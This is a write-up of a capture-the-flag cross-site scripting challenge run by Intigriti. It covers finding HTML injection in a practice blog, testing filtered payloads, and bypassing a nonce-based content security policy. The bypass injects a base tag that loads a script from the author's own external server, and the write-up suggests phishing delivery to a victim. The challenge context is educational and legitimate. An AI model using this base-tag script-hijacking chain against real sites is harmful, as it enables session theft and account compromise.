Intigriti December 2022 Challenge: XSS Challenge 1222 by fh4ntke

In December ethical hacking platform Intigriti (https://www.intigriti.com/) launched a new Cross Site Scripting challenge. The challenge itself was created by community member fh4ntke.



Rules of the challenge

- Should work on the latest version of Firefox AND Chrome.
- Should execute alert showing the victim's/another user's username.
- Should leverage a cross site scripting vulnerability on this domain.
- Shouldn't be self-XSS or related to MiTM attacks.

Challenge

To be simple a victim needs to visit our crafted web url for the challenge page and arbitrary javascript should be executed to launch a Cross Site Scripting (XSS) attack against our victim.

About this write-up

This write-up shows a possible solution how to pull off a successful XSS attack against anyone using the challenge but this was not the solution intended by the challenge creator.

The XSS (Cross Site Scripting) attack

Step 1: Recon

First things first and that is trying to understand what the web application is doing. A good start for example is using the web application, reading the challenge page source code and looking for possible input that we control.

The challenge page (<u>https://challenge-1222.intigriti.io/</u>) contains an iframe which we can open in a new tab. A possible way to open this iframe URL is via the dev tools (right click - inspect).

← → C 🔒 challenge-1222.intigriti.io		🗅 🖈 💻 🎜 🧙 🏚 🖬 🧶 E
$\mathcal{A} \mathcal{A} \mathcal{A} \mathcal{A} \mathcal{A} \mathcal{A} \mathcal{A} \mathcal{A} $	LYL YRYLY	$\mathcal{A} \mathcal{A} \mathcal{A} \mathcal{A} \mathcal{A} \mathcal{A} \mathcal{A} \mathcal{A} $
	Intigriti's December XSS challenge By <mark>fh4ntke</mark>	
	Find a way to execute arbitrary javascript on the iFramed page and win Intigriti swag.	
	Buildes: • This challenge runs from the 27th of December until the 1st of January, 11:59 PM CET. • Out of all correct submissions, we will draw six winners on Monday, the 2nd of January: • Three randomly drawn correct submissions • Three best write-ups • Every winner gets a 650 swag vooler for our swag shop • The winner will be announced on our Twitter profile. • Join our Discord to discuss the challenge!	
	The solution	
	Should work on the latest version of Chrome and FireFox. Should execute alert showing the vicitm's/another user's username. Should everage a cross sile scripting vulnerability on this domain. Should hor use another challenge on the intigritiu domain. Should hor Use another challenge on the intigritiu domain. Should be reported at go.intigriti.com/submit-solution.	
	Test your payloads down below and on the challenge page here!	
	Let's pop that alert!	
	Christmas Blog Login	
LK Definents Console Sources Performance insights A Network Perform		Styles Computed Layout »
<htal:lang="en"> > <head>-</head> * <body></body></htal:lang="en">		Filter :hov .cts + 및 및 데
<pre>v<section id="wrapper"> v<section id="wrapper" th="" v<<="" v<section=""><th></th><th>ecement.style { } iframe { style.css:16</th></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></pre>		ecement.style { } iframe { style.css:16
<pre>voir int charge container class care container >_v <div class="card-container"> v. v.: frame src."challenge width="100%" height="600px"> 50</div></pre>		border-color: > □black; }
v#document D0CTYPE html		box-sizing: border-box; }
v +html:Lang="en";- } ≥ dead-,-/head- v <body></body>		iframe[Attributes Style] { width: 100%; height: 600px;

This gives following URL: <u>https://challenge-1222.intigriti.io/challenge</u>

This gets us to the "Christmas Blog" where both the "Ho ho ho!" and login button takes us to a page where we can register an username.

\leftrightarrow \rightarrow C $($ challenge-1222.intigri	io/challenge			🗅 🖈 💻 🌢 🦙 🖈 🗉 🕘 E
Christmas Blog				Login
	Welcome!			
•	As the holiday season approaches, the team at <i>Christmas Blog</i> is the world. Our website is a place where the holiday spirit can thriv blogger or new to writing, we invite you to join our community and	excited to offer a platform where anyone can share their Chri re, as people from all walks of life come together to share the I spread the cheer. Let's make this holiday season one to rem	istmas traditions, memories, and experiences with eir love for Christmas. Whether you're à seasoned nember, together 🤓	• •
	To get the perfect inspiration for your blog, we are happy to highli	ght two of our most active users, ChatGPT and EHantke. And	d now, let's start!	
	Ho ho ho! .			
•				· .
	•.			
			·	•
\leftrightarrow \rightarrow C \oplus challenge-1222.intigri	io/login			o 🖈 💻 🌢 👇 🖈 🗉 🕘 E
Christmas Blog				
	Creat	e Your Account And Logir	n!	
	Username			
		Login		

First thing that comes in my mind here is we want to run our own Javascript to get a successful XSS attack. An easy check to see if certain parts are possibly vulnerable is to inject some HTML and see if it gets rendered somewhere in the page. Lets take for example an username between <i>HTML tags.

Lets take following username: <i>Attacker</i>

if one of the blog pages is vulnerable to HTML injection we should see our username being rendered as following in italic: *Attacker*

← → C 🗍 challenge-1222.intigriti.io/login		
stmas Blog		
	Create Your	Account And Login!
	<i>Attacker</i>	
		Login

Once logged in the first page we see seems to be a page that handles our injection attempt correctly. Nothing happened so no HTML injection at this point.



Nothing interesting found. We can continue looking into the blog application to get an idea of how it is working. The "Edit" button in the top right corner takes us to another page.

This is an interesting page as it has multiple input options. We can create a blog post with tags for our user.

← → C 🔒 challenge-1222.intigriti.io/edit		🌢 🖈 🗮 🎜 🖕 🏚 🗉 📵 🗄
Christmas Blog - <i>Attacker</i>		
	Edit Content	
	Edit your blog here and share it later with your friends. You can use HTML if you want, but don't do shady things!	
	Edit me!	
	Add tags to your blog (seperated with commas)!	
	Tags	
	Save	

Same idea as when registering our username. Let's inject some simple HTML and see if it gets rendered.

I create a blog post with a tag both with <i> HTML tags and immediately something can be noticed while typing the tag it gets rendered in italic above the content area. Here seems to be an HTML injection.

← → C 🔒 challenge-1222.intigriti.lo/edit		🗅 🖈 💻 🍣 🦕 🌲 🗉 🕘 E
Christmas Blog - <i>Attacker</i>		Edit Logout
	Edit Content	
	Edit your blog here and share it later with your friends. You can use HTML if you want, but don't do shady things!	
	MyFirstTag	
	<i>My First Blog Post</i>	
	Add tags to your blog (seperated with commas)!	
	<>>MyFirstTag	
	Save	

First HTML injection point found but lets continue using the application to see if our blog post also gets rendered somewhere if we save it.

Once saved we get to the blog post page and we notice the blog post content is rendered but the tag is no longer rendered in the HTML. Our username is also added as a title but this one is also not rendered.

\leftrightarrow \rightarrow C \cong challenge-1222.intigriti.io/blo	g/f11ae408-844e-4e20-89a7-528768b6f8fd			û 🖈 💻 🍕 🦕 🛊 🗉 🕕 E
Christmas Blog - <i>Attacker</i>				Edit Logout
	<i>Attacker</i> 's Blog 			
	Share this on Twitter			
	Write a comment:	Your Name	Post	

Another thing to notice is that our blog posts are saved on a web page with an unique ID. In my case the page URL shows following: <u>https://challenge-1222.intigriti.io/blog/f11ae408-844e-4e20-89a7-528768b6f8fd</u>

This is interesting because I can give this URL with unique ID to anyone and then they can read my blog.

We can test this by opening a new browser window or another browser where we are not logged into the challenge blog. The screenshot below shows another browser window opening my blog post. You can clearly see this user is not logged in, in the top right corner.

← → C 🔒 challenge-1222.intigriti.io/blog/	f11ae408-844e-4e20-89a7-528768b6f8fd			🖈 🔳 🌧 Incognito (2) 🕴
Christmas Blog				
	<i>Attacker</i> 's Blog			
	<i>MyFirstTag</i>			
	My First Blog Post			
	Share this on Twitter			
	Write a comment:	Your Name	Post	

At this point I was thinking following:

- The challenge requires us to deliver an URL to a victim and the arbitrary Javascript should show that users username so we can assume the other user or "victim" is also using this blog application and is logged in once he clicks our malicious link we will send.

- We have 2 HTML injections. One in the tags and one in the blog post content itself. The one in the blog post at this moment is more interesting as this is a HTML injection being rendered in a page that we can share the unique URL of with our victim.

The tags HTML injection only shows at the "/edit" page which we cannot deliver to a victim. If we deliver that page it will not show our edit page but the victims edit page which does not contain a possible XSS payload.

Step 2: Escalating the blog post HTML injection.

This blog post content HTML injection is interesting because we can deliver an unique URL to our victim with our blog post which could execute an XSS attack.

Next step is to escalate this HTML injection to a working XSS. First idea is simple. Let's input a fairly easy XSS payload: <*img src=x onerror=alert()*>

We go back to the edit page and insert the payload. Save the blog post and hope for the best :-)

← → C 🔒 challenge-1222.intigriti.io/edit		🗅 🖈 💻 🎘 🐐 🖬 🕕 🗄
Christmas Blog - <i>Attacker</i>		
	Edit Content	
	Edit your blog here and share it later with your friends. You can use HTML if you want, but don't do shady things!	
	MyFirstTag	
	<img <u="" src="x"/> onerror=alert()>	
	Add tags to your blog (seperated with commas)!	
	<>>MyFirstTag<(i>	
	Save	

No XSS popup so something went wrong. The image seems injected but some kind of security mechanism prevented the Javascript popup from executing.

← → C i challenge-1222.intigriti.io/blog/	f11ae408-844e-4e20-89a7-528768b6f8fd			û 🖈 💻 🖇 କ 🖈 🔲 🧶 E
Christmas Blog - <i>Attacker</i>				Edit Logout
	<i>Attacker</i> 's Blog			
	Write a comment:	Your Name	Post	

We can use the dev tools to inspect how the injected image looks like once rendered.

← → C	💧 🚖 💻 🍣 🦏 🏚 🖬 📵 E
Christmas Blog - <i>Attacker</i>	Edit Logout
Circle Re ode for this lenge Virte Post	

We see the "onerror" part of our payload is removed. Probably there is a security mechanism checking for event handlers and removing them.

「二月」 Rements Concile Source Performance Institutes I Metanok Performance Memory Antipation Source EditDit/Conkie	1. ft : X
	Stoler Computed Laward N
<pre>shtml lang="em"></pre>	Stylea Computed Layout //
> <head>- </head>	Filter :hov .cls + 🖓 🖪
▼ <body></body>	element.style
\prec : As a Link \rightarrow	3
▶ <nav class="navbar navbar-dark bg-dark navbar-expand-lg">>_</nav> (Tor	.row > # { style.rss?d29714hd:539
▼ <div class="container text-light"></div>	flex-shrink: 0:
<hl><i>Attacker</i>'s Blog</hl>	width: 100%;
F <div class="row n=2">, </div> <td>max-width: 180%;</td>	max-width: 180%;
$<$ — Nodal \sim	<pre>padding=right: calc(var(bs-</pre>
× div Class = model fade 10° (Ulderhood, " tablnoter =1" aria-lade(ted)="twitterhood LLade(" aria-hidden="true >_ <td>padding-left: calc(var(bs-</td>	padding-left: calc(var(bs-
	gutter-x) + .5);
$d = \sum_{i=1}^{n} \frac{1}{i} \sum_{j=1}^{n} \frac{1}{i} \sum_{i=1}^{n} \frac{1}{i} \sum_{j=1}^{n} \frac{1}{i} $	v):
-yourshutton type="button" class="bto htp-primary mb-2 text-light" data-bs-tongle="model" data-bs-target="fivitterModel" id="sbare-button". Sbare this on Twitter <td></td>	
dr.	<pre>img, svg { style.css?d29714bd:248</pre>
≻ <div class="row border rounded nb-2 p-2">~</div> (Flee)	vertical-align: middle;
▶ <script nonce=""></script>	
	*, style.css?d29714bd:77
<script nonce="" src="<u>/static/js/bootstrap.bundle.min.js</u>"></script>	*::DeTore,
	box-sizing: border-box;
	ing { user agent stylesheet
	box;

If we check the PortSwigger XSS cheat sheet (<u>https://portswigger.net/web-security/cross-site-scripting/cheat-sheet</u>) we can see that all event handlers start with "on". Probably the security mechanism in our blog post checks for the "on" once we inject HTML and removes that part.

Get involved in the Burp c	hallenge for opportunities to	test your skills and win sw	vag – Challenge me	
PortSwigger			•	LOGIN
	Products 🗸 S	iolutions 🗸 Research	Academy Daily Swig Suppo	rt∨ ≡
Dashboard Learning path Latest topics ~	All labs Mystery labs	Hall of Fame 🗸	Get started \qquad Get certified \qquad	
Web Security Academy » Cross-site scripting » Cheat	sheet			
Cross-site scripting (X	SS) cheat sl	neet	V 🔍 🖬	atin M
This cross-site scripting (XSS) cheat sheet contains m	any vectors that can help you b	ypass WAFs and filters. You	can select vectors by the event, tag	or browser
and a proof of concept is included for every vector.				
You can download a PDF version of the XSS cheat she	eet. arch Follow us on twitter to rec	aive undates		
This cheat sheet is regularly updated in 2022. Last up	ated: Thu. 22 Sep 2022 14:14:	56 +0000.		
Table of contents				\sim
Event handlers				^
Copy tags to clipboard Copy events to cl	ipboard Copy payloads to	clipboard	1	
All tags	All events		All browsers	
custom tags a	onafterprint		Firefox	
abbr	onanimationcancel		Safari	
address	onanimationend			
applet	onanimationstart			
area	onauxclick			
aside	onbeforecut			
			·	
Search Type: tag v Search term:	Search			
Event handlers that do not req	uire user interactio	n		^
Event: Description:	Tag:	Code:	c	opy:
onafterscriptexecute				
Compatibility: Fires after script is executed	custom tags ~	<xss onafterscript<="" td=""><td>execute=alert(1)></td><td>f) 💿</td></xss>	execute=alert(1)>	f) 💿
6 👲		<script>1</script>		

To verify this, I inject some payload but with an event handler that is not existing to check if the security mechanism is triggered: <*img* src=x onSomethingToTest=testing>

← → C		🗅 🕁 💻 🎜 କ 🏦 🕕 📵 🗄
Christmas Blog - <i>Attacker</i>		
Edit Content		
Edit your blog here and share it later with your fri	ends. You can use HTML if you want, but don't do shady things!	
MyFirstTag		
		
Add tags to your blog (seperated with commas)!		
<i>MyFirstTag</i>		
Save		

🕞 📋 Evenents Console Sources Performance-insights 🛦 Network Performance Memory Application Security Lighthouse EditThisCookie	
elocitype histo	Styles Computed Layout >>
Critical Lange etc. > b cleads→cleads	Filter :hov .cls + 🖓 🖪
× Φady→ At a Link →	element.style {
	<pre>, row > * { style.css?d29714bd:539</pre>
<pre>**div class="catainer text-light"></pre>	flex-shrink: 0;
-di- Casserior - 2 ⁺ / ₂ - 2 ⁺ / ₂ - 1 ⁺ / ₂ - 1 ⁺ / ₂ - 2 ⁺ /	nax-width: 108%;
<[- Mody]> Padiv [asks]modd [doks]modd["tabinders"-1" aria-labi]effors"tyltterModal]abe]" aria-hidders"true"s-s/d/us	<pre>padding-right: calc(var(bs- gutter-x) * .5);</pre>
	<pre>padding-left: calc(var(bs- gutter-x) + .5);</pre>
	nargin-top: varlbs-gutter-
10 - chitan tunnihitan "insulfation" claram"http://www.shalland.claram.claramlar.insulfation.claramter.insulfatio	
- מסרכיה בקור שלו להיו ליו אין היו לא ליו ליו לא ליו ליו לא ליו לא ליו ליו לא ליו לא ליו לא ליו לא ליו לא ליו ל אוף	<pre>img, svg { style.css?d29714bd:248</pre>
	vertical-align: middle;
	*, style.css/d29/14001// +::before.
Social primero arcs (<u>Astocky) ar objection and the primero and the primeroand the primero and the primero and</u>	weafter 4

The result is the same so it seems we cannot use event handlers at the moment. This has a consequence that a lot of XSS payloads can no longer be used but there are still some options at this moment.

Another simple solution is this payload: <script>alert()</script>

This one is totally not rendered and becomes encoded in the source code. Bad luck we need to find something else.

← → C (a challenge-1222.intigriti.lo/edit		🗅 🚖 💻 🌢 🦙 🖨 🔲 🕘 🗄
Christmas Blog - <i>Attacker</i>		
	Edit Content	
	Edit your blog here and share it later with your friends. You can use HTML if you want, but don't do shady things!	
	MyFirstTag	
	<script>alert()</script>	
	Add tags to your blog (seperated with commas)!	
	<i>bMyFirstTag</i>	
	Save	

← → C (a challenge-1222.intigriti.io/blog	g/f11ae408-844e-4e20-89a7-528768b6f	std		🗴 🖈 💻 幕 🐂 🛊 🔲 🕘 E
Christmas Blog - <i>Attacker</i>				
	<i>Attacker<td>>'s Blog</td><td></td><td></td></i>	>'s Blog		
	<script>alert()</script>			
	Share this on Twitter			
	Write a comment.	Your Name	Post	
R D Elements Console Sources Performs	ance nsights X Network Performance I	Memory Application Security Lighthouse EditThisCookie		¢ : ×
<pre>shouline news whealwave/heads webodys elements a link></pre>				Styles Computed Layout » Filter :hev.cls + 9 () element.style (
<pre>><nav class="navbar navbar-dark bg-dark nyfbar
*<div class=" container="" text-light"=""> <hl><i><hl><i>>hl><i>>hl><i>>hl><i>>kdiv class="row n=2">_</i></i></i></i></hl></i></hl></nav></pre>	-expand-lg">_ (tter)			<pre>.rounded style.css?d29714bd:6580 { border-radius: > var(bs- border-radius) !important; }</pre>
<pre>> div class="modal fade" id="twisterHodal" tu div class="row border rounded bp-dark bp- 6lt;script6gt;alert()6lt;/script6gt;</pre>	abindex="-1" aria-labelledby="twitterModal ppscity-75 mb-2 p-2 px-5">			.bg- .bg- .bg-city- .bg-bg-opecity: 0.75; .bg-dark style.css7429714bd:6527 .bg-dark style.css7429714bd:6527
<pre>solution type="button" class="bin bin-primary chr> > div class="raw border rounded mb-2 p-2">=</pre>		data-bs-target-"#twitterModal" id="share-button"> Share this on Twitter		background-color: rgba(var(bs-dark-rgb), var(bs-bg- opacity)) limportant; }
<pre>#dsCipt nonces. <td></td><td></td><td></td><td><pre>.px-5 { style.css?d29714bd:6213 padding-right: 3rem</pre></td></pre>				<pre>.px-5 { style.css?d29714bd:6213 padding-right: 3rem</pre>
				.p-2 { <u>style.css?d29714bd:6181</u> padding: > 0.5rem !important; }
				.mb-2 { style.css7d29714bd:6139 margin-bottom: 0.5rem

What does Google say about XSS attacks without event handlers?

The first option showning brutelogic blog is always useful. He has really good blog posts (<u>https://brutelogic.com.br/blog/</u>)



The blog posts shows a lot of possible options. Let's try them



The first ones did not render when I did a test with them but one gave an interesting result: <*a href=javascript:alert(1)*>*click*



I know this one requires user interaction by clicking a link but I thought if this works I can build further and make it somehow work without our victim clicking it. Small steps to get what we want.

\leftrightarrow \Rightarrow C \cong challenge-1222.intigriti.io/edit		ō 🖈 💻 🎜 କ 🏦 🗖 🚺 E
Christmas Blog - <i>Attacker</i>		Edit Logout
	Edit Content	
	Edit your blog here and share it later with your friends. You can use HTML if you want, but don't do shady things!	
	MyFirstTag	
	click	
	Add tags to your blog (seperated with commas)!	
	<i>MyFirstTag</i>	
	Save	

← → C i challenge-1222.intigriti.io/blog	/f11ae408-844e-4e20-89a7-528768b6	f8fd		o 🖈 💻 🍯 🔓 🏚 🗉 🧶 E
Christmas Blog - <i>Attacker</i>	Christmas Blog - <i>Attacker</i>			
	<i>Attacker</i> 's Blog			
	<i>MyFirstTag</i>			
	click			
	Share this on Twitter			
			T T	
	Write a comment:	Your Name	Post	
	/			
/				
/				
javascript:alert(1)				
Elements Console Sources Performan	nce insights 👗 Network Performance	Memory Application Security Lighthouse EditThisCookie		
x Expression				Ainevels Y Tissue: AT Q
not available				
 Devices Tailed to Load source map: Upild not to Refused to run the JavaScript URL because it vio 	ad content for https://challenge-1222.in lates the following Content Security Pol	tigriti.io/static/)s/bootstrap.bundle.min.js.mag: HTP error: status code 404, net::b00_HTP_b icy directive: "script-src 'self' 'nonce-44ef81edd81f1ddb79a785fc4737172368f8af9cfa5497e0db585	RESPONSE_CODE_FAILURE 56ce2251df03' 'strict-dynamic'". Either the 'unsafe-inline' keyword	d, a hash <u>f11ae408-844e-4e20-89a7-528768b6f8fd:1</u>
('sha256'), or a nonce ('nonce') is requi	ired to enable inline execution. Note th	at hashes do not apply to event handlers, style attributes and javascript: navigations unless	the 'unsafe-hashes' keyword is present.	

This payload again does not work but reveals something new in the developer tools console. The CSP (content security policy) is blocking us this time. So actually this one would work without the CSP. Lets investigate that CSP that is set in place a bit more.

Step 3: Finding a CSP bypass

We found a possible working payload that would still require user interaction but OK this seems to get us somewhere now we are faced with a new issue the CSP.

Google has a really good CSP evaluator that can be used to quickly check how the CSP is exactly configured and how secure it is.

Paste the URL you want to check and click "CHECK CSP"

CSP Evaluator CSP Evaluator CSP Evaluator Security experts to check if a Content Security Policy (CSP) serves as a strong mitigation against cross-site sectoring attacks. It assists with the process of reviewing CSP policies, which is usually a manual task, and helps identify suble CSP bypasses which undermine the value of a policy. CSP Evaluator checks are based on a targe-scale study and are aimed to help developers to harden their CSP and undermine the value of a policy. CSP Evaluator checks are based on a targe-scale study and are aimed to help developers to harden their CSP and underwine the sourchy of their applications. This is a <u>Chrone actionation</u> policy for the convenience of developers and
Improve the security of their applications. This tool (also available as a <u>Chrome extension</u>) is provided only for the convenience of developers and Google provides no guarantees or warranties for this tool. Content Security Policy Inttps://challenge-1222.intigriti.io/ CSP Version 3 (nonce based + backward compatibility checks) v

The missing base-uri is a high severity finding. We can abuse this to bypass the CSP in some circumstances.

		CSP	
	CSD Evolution		
	COP Evaluator		
	CSP Evaluator allows developers and secu	irity experts to check if a Content Security Policy (CSP) serves as a strong mitigation against cross-site	
		inty experts to theorem a content decarry roucy (our paeves as a strong mingation against around a	
	scripting attacks. It assists with the process	s of reviewing CSP policies, which is usually a manual task, and helps identity subtle CSP bypasses which	
	undermine the value of a policy. CSP Evalu	uator checks are based on a large-scale study and are aimed to help developers to harden their CSP and	
	improve the security of their applications. T	his tool (also available as a Chrome extension) is provided only for the convenience of developers and	
	Coople provides no suprentees or warrenti	ine for this tool	
	doogle provides no guarantees or warrante	es for this tool.	
	Content Security Policy		
	content occurry roney	Sample unsafe policy Sample safe policy	
	default-src 'self':		
	script-src 'self' 'nonce-b02bf47e	e2bad873e3acbe8ef0d85f5e43808043dedd4ecc07880c5cddfdbe849' 'strict-dvnamic':	
	<pre>img-src * data:;</pre>		
	CSP Version 3 (nonce based + backward c	compatibility checks) 👻 🚳	
	CHECK COD		
	CHECK COP		
	Evaluated CSP as seen by a browser s	supporting CSP Version 3 expand/collapse all	
	, a bromoor o		
	default-src	×	
	script-src	Consider adding 'unsafe-inline' (ignored by browsers supporting nonces/hashes) to be backward	
		compatible with older browsers.	
		Consider adding https: and http: url schemes (ignored by browsers supporting 'strict-dynamic') to be	
		backward compatible with older browsers.	
	 img-src 		
	base-uri [missing]	Missing base-un allows the injection of base tags. They can be used to set the base URL for all	
/	************************************	relative (script) onus to an attacker controlled domain. Can you set it to hone or 'setry	
	Object-src [missing]	Can you restrict object-src to 'none'?	
(() require-trusted-types-for [missing]	Consider requiring Trusted Types for scripts to lock down DOM XSS injection sinks. You can do this by	
		adding "require-trusted-types-for 'script" to your policy.	
\			
	Legend		
	Legend		
	Legend High severity finding		
	Legend High severity finding Medium severity finding		
	Legend High sevently finding Medium sevently finding O Possible high sevently finding		
	Legend • High seventy finding • Madium seventy finding • Possible high seventy finding - Directive/walke is ignored in this version of CSF	P	
	Legend P High severity finding Medium severity finding D rostelik high severity finding D rescriber/valae is ignored in the version of CSP P rostelik medium severity findin	p	
	Legend • Kgi sawati finding • Makum severity finding • Prosteller high severity finding • Prosteller medua severity finding * service were:	P	
	Legend P High severity finding Medum severity finding D rostelike high severity funding D rostelike medum severity finding X Syrtax error Medumation	p	
	Legend • Kijo severij finding • Makum severij finding • Prostelbe high severij finding • Prostelbe makum severij finding × Sijritak error • Information	P	
	Legend High severity finding Medium severity finding Drescheit high severity finding Drescheitwiste is gloporal in this version of CSP Prosedule medium severity finding X syntax error Distrimation X Al god	p	

The base-uri missing can be abused in following way:

- We need to inject following HTML: <base href="https://www.ourattackerdomain.com/">
- The injected page needs to have a script referenced with a relative path in the source code.

With relative path this is meant: "/js/sometscript.js" for example in the application source code.

This is needed because the base tag will be linked to the script and the web application will start looking for the script on our controlled domain that we injected via the base tag.

The HackTricks blog explains this as a possible CSP bypass and shows many other good CSP bypasses:

https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass



An easy "lazy" way to quickly check for possible relative path scripts in the web application is by injecting the
base> tag with our own domain and check the webserver logs for missing script requests.

I do not own a domain but you could without any cost create a replit account for example and host some python code there to run a simple webserver:

https://replit.com



With a webserver running we can inject our base tag with our own URL and save the blog post:

Christmas Blog - <i>Attacker</i>		Edit Logout
	Edit Content Edit your blog here and share it later with your friends. You can use HTML if you want, but don't do shady things!	
	MyFirstTag	
	 cbase href="https://Python-webserver." Irepl.co">	
	Add tags to your blog (separated with commas)!	
	<>MyFirstTag	
	Save	

Our web server logs show following incoming requests:

>_ Console × @ Shell × +
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)
172.31.128.1 [28/Dec/2022 16:55:00] "GET / HTTP/1.1" 200 -
172.31.128.1 [28/Dec/2022 16:57:20] code 404, message File not found
1/2.31.128.1 [28/Dec/2022 16:57:20] "GET /static/js/bootstrap.bundle.min.js H
1/2.31.128.1 [28/Dec/2022 16:5/:20] code 404, message File not found
1/2.31.128.1 [28/Dec/2022 10:5/:20] "GET /Static/js/bootstrap.bundle.min.js H
17721 1284 - [28/Dec/2022 16:57:20] code 404 message File not found
172.31.128.1 [28/Der/2022 10.37.20] Code 404, message rite not round a min is H
TTP/1 1 40 -
172.31.128.1 [28/Dec/2022 16:57:20] code 404. message File not found
172.31.128.1 [28/Dec/2022 16:57:20] "GET /static/favicon.ico HTTP/1.1" 404 -
172.31.128.1 [28/Dec/2022 16:57:20] code 404, message File not found
172.31.128.1 [28/Dec/2022 16:57:20] "GET /static/js/bootstrap.bundle.min.js H
TTP/1.1" 404 -
172.31.128.1 [28/Dec/2022 16:57:20] code 404, message File not found
<u>1</u> 72.31.128.1 [28/Dec/2022 16:57:20] "GET /statc/favicon.ico HTTP/1.1" 404 -

We are lucky. The blog application is looking for a script that it is trying to find due to it being programmed relatively in the source code: "/static/js/bootstrap.bundle.min.js" This means we can bypass the CSP as we now control that script by hosting our own version.

Next step is easy. Setup the folder structure "/static/js" on our webserver and create a script with the name "bootstrap.bundle.min.js" in that folder. We can then put any Javascript content inside that script.

Q Search		₿ bootstrap.bundle.min.js × + :
✓ Files	÷ + :	🗀 static > 🗀 js > 👧 bootstrap.bundle.min.js
襣 main.p	y	<pre>1 alert(document.domain);</pre>
🖯 static		
🖯 js		
L	bootstrap.bundle.min	

If we now reload the blog page URL with the injected base tag HTML we have a successful XSS:

\leftrightarrow \rightarrow X $$ challenge-1222.intigriti.lo/blog/	û 🖈 💻 🍣 🛸 🖬 📵 E			
Christmas Blog - <i>Attacker</i>		challenge-1222.intigriti.io says		Edit Logout
	<i>Attacker</i> 's Blog	OK OK		1
	Share this on Twitter			- -
	Write a comment:	Your Name	Post	

Step 4: Delivering the payload to a victim

Alerting on our own blog post was not enough. The URL needs to be delivered to a victim and once the victim click it, it should alert the victims username to complete the challenge.

The blog always shows the username in the top left corner.

$\epsilon ightarrow \mathbf{C}$ $\hat{\mathbf{a}}$ challenge-1222.intigriti.jo/blog/f11ae408-844e-4e20-89a7-528768b6/6/d				û 🖈 💻 🗳 🦙 🌢 🔲 🚺 i
Christmas Blog - <i>Attacker</i>				Edit Logout
Ţ.	<i>Attacker</i> 's Blog)
	Write a comment:	Your Name	Post	

If we inspect this we can see this comes from a HTML class named "navbar-brand". I made a quick and dirty small Javascript that finds this class in the source code and shows it's content :-) *Sorry my Javascript skills are not that good so this was the fastest solution for me to get the username.*

← → C & challenge-1222.intigriti.joplog/f1ae408-844e-4e20-89a7-528768b6f8fd △ ☆ 💻 2				
Christmas Blog - <i>Attac</i>	Open Link in New Tab			
	Open Link in New Window Open Link in Incognito Window	ker's Blog		
	Save Link As Copy Link Address			
	Copy Copy Link to Highlight Search Google for "I>Attacker" Print			
	Inspect	Your Name Post		
	Services >			
https://python-webserver.jorenverheyen.	repl.co			
🕞 🔄 🛛 Elements Console So	urces Performance insights 🛦 Network	Performance Memory Application Security Lighthouse EditThisCookie	💷 🏟 🗄 🗙	
html <html lang="em"> > <html lang="em"> <html lang="em"> > <html lang="em"> ></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html></html>	ba-dark navbar-excand-la"s (Two)		Styles Computed Layout Filter :how .cts +_ ♀ ♥ element.style {	
▼ <div <="" class="container-fl.d" th=""><td>flæ</td><td></td><td>.navbar- style.css?d29714bd:3827 brand (</td></div>	flæ		.navbar- style.css?d29714bd:3827 brand (
<pre>via class="mawbar-prime" "Christmas Blog = <i>>tixt > <divclass="mawbar-maybar-maybar- </divclass="mawbar-maybar-maybar- </i></pre>	fer[r = 10 div> Ten /div> Ten ht™ _{>ν} /div> <u>koststrep.kumdle.sin.js</u> ™×/script>		<pre>saddigicto; war(-si-nawbar- brand-padings); bb- mabar-paratogicto; bb- mabar-paratogicto; bb- mabar-paratogicto; bb- mabar-paratogicto; bb- brand-fact: war- brand-fact: war- brand-fact: war- brand-fact: war- brand-fact: war- brand-fact: bb-sadpar-facato- to; brand-fact: war- brand-fact: war- war- war- war- war- war- war- war-</pre>	

alert(document.getElementsByClassName('navbar-brand')[0].innerHTML);

We can change our controlled Javascript we hosted for our base tag injection.

Q Search		s bootstrap.bundle.min.js × +	:
✓ Files [↓]	+ + :	🗀 static > 🗀 js > 👧 bootstrap.bundle.min.js	
		<pre>1 alert(document.getElementsByClassName('navbar-brand')[0].innerHTML);</pre>	
🗬 main.py			
🗁 static			
🗁 js			
Js bootstrap.bun	dle.min		

And we get what we want the username is shown in the alert box:

← → X i challenge-1222.intigriti.lo/b/og/11ae408-844e-4e20-89a7-528768b6/18/d				🗅 🖈 💻 🍣 🛸 🖬 🧶 E
Christmas Blog - <i>Attacker</i>		challenge-1222.intigriti.io says		
	<i>Attacker</i> 's Blog ci>MyFirstTag Share this on Twitter	Christmas Blog - <ji>Attacker<jf> CK		
	Write a comment:	Your Name	Post	

We can now easily test delivering our unique blog post URL to any victim by creating an account in another browser.

\leftrightarrow \rightarrow C $$ challenge-1222.intigriti.io/login				🖈 🔲 😁 Incognito (2) 🚦
Christmas Blog				Login
		Create Your Account And Login!		
		OurVictim		
		Login		
Charleterer Dian. Qual fisting	1444642-1101-4616-0007-736763644950			
Christmas Blog - Ourvictim				Edit Logout
	OurVictim's Blog			
,	testing			
	Test blog post			
	Share this on Twitter			
	Write a comment:	Your Name	Post	
,				

Let's create in another browser window a user with for example username: OurVictim

Our victim creates his own blog posts and gets his own unique URL so others can reads the posts.

Lets assume in a phishing attack for example our victim receives our blog URL by mail and clicks it because we have interesting posts on our blog :-). Our XSS attack will fire and the arbitrary Javascript will popup the victims username.

The URL in this case delivered to the victim from the attacker blog post: <u>https://challenge-1222.intigriti.io/blog/f11ae408-844e-4e20-89a7-528768b6f8fd</u>

Christmas Blog x +					
\leftrightarrow \rightarrow X $($ a challenge-1222.intigriti.io/blog/	- 🔶 X 🔒 challenge-1222_intightiliolog/11ae408-844e-4e20-89a7-528768b6181d 🛨 🖬 🙆 Incognito (2) :				
Christmas Blog - OurVictim		challenge-1222.intigriti.io says		Edit Logout	
	<i>Attacker</i> 's Blog	Christmas Blog			
	<i>MyFirstTag</i>	- OurVictim			
ľ	Share this on Twitter	ок			
	Write a comment:	Your Name	Post		
	<u> </u>				

